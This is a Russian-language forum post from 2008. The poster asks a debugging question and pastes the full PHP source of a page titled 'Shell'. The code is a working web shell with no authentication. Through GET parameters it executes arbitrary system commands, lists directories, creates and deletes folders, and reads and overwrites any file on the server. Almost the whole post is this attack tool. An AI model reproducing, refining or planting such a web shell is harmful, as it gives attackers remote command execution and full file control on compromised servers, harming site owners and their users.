
31.05.2008, 18:08
|
|
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме: 103153
Репутация:
13
|
|
при сохранении в файл , всё передается через Get почему , если установлен Post ...
PHP код:
<html>
<title>Shell</title>
<body bgcolor=#000000 text=#ffffff alink=#ffffff vlink=#ffffff link=#ffffff>
<table border=3>
<tr>
<td>
<form method="get">
<input type="text" name="us">
<select name="use">
<option value="open">Открыть папку</option>
<option value="new">Создать папку</option>
<option value="dell">Удалить папку</option>
<option value="cmd">Выполнить команду</option>
</select>
<input type="submit" value="Enter">
</td>
</tr>
</table>
<?
//--------------Peremennie-------------------------------------------------------------------
$do=$_GET['path'];
$text=$_GET['text'];
$name=$_GET['name'];
$us=$_GET['us'];
$use=$_GET['use'];
//-------------Edit file-----------------------------------------------------------------------
if(isset($text))
{
$fo=fopen($name,"w");
$fw=fwrite($fo,stripslashes($text));
fclose($fo);
print "Сохранено !!!";
}
//-------------Commands---------------------------------------------------------------------
if ($use=="open") {$do=$us; print "Готово !!!<br>";}
if ($use=="new") {mkdir("./$us/"); print "Готово !!!<br>";}
if ($use=="dell") {rmdir($us); print "Готово !!!<br>";}
if ($use=="cmd") {$command=$us; print "Готово !!!<br>";}
//-------------Cmd shell-----------------------------------------------------------------------
if(isset($command))
{
if($us=="cd ..") chdir("..");
print '<textarea cols=100 rows=20>';
echo system($command);
print '</textarea><br><a href="javascript:history.go(-1);">Cancel</a>';
}
//-------------Chtenie katalogov------------------------------------------------------------
if($do=="./") $do .= "/";
//if(!isset($do) or $do=='') $do=getcwd();
if(is_dir($do))
{
chdir($do);
$od=opendir($do);
while($rd=readdir($od))
{
print "<br><a href=\"?path=".urlencode(getcwd())."\\$rd\">$rd</a>";
}
closedir($od);
}
//-------------Chtenie failov-----------------------------------------------------------------
if(is_file($do))
{
print '<form method="POST">
<input type="hidden" name="name" value="'.$do.'">
<textarea cols=100 rows=20 name="text">';
print htmlspecialchars(file_get_contents($do));
print '</textarea><br>
<input type="submit" value="Save">
</form><br><a href="javascript:history.go(-1);">Cancel</a>';
}
?>
</body>
</html>
|
|
|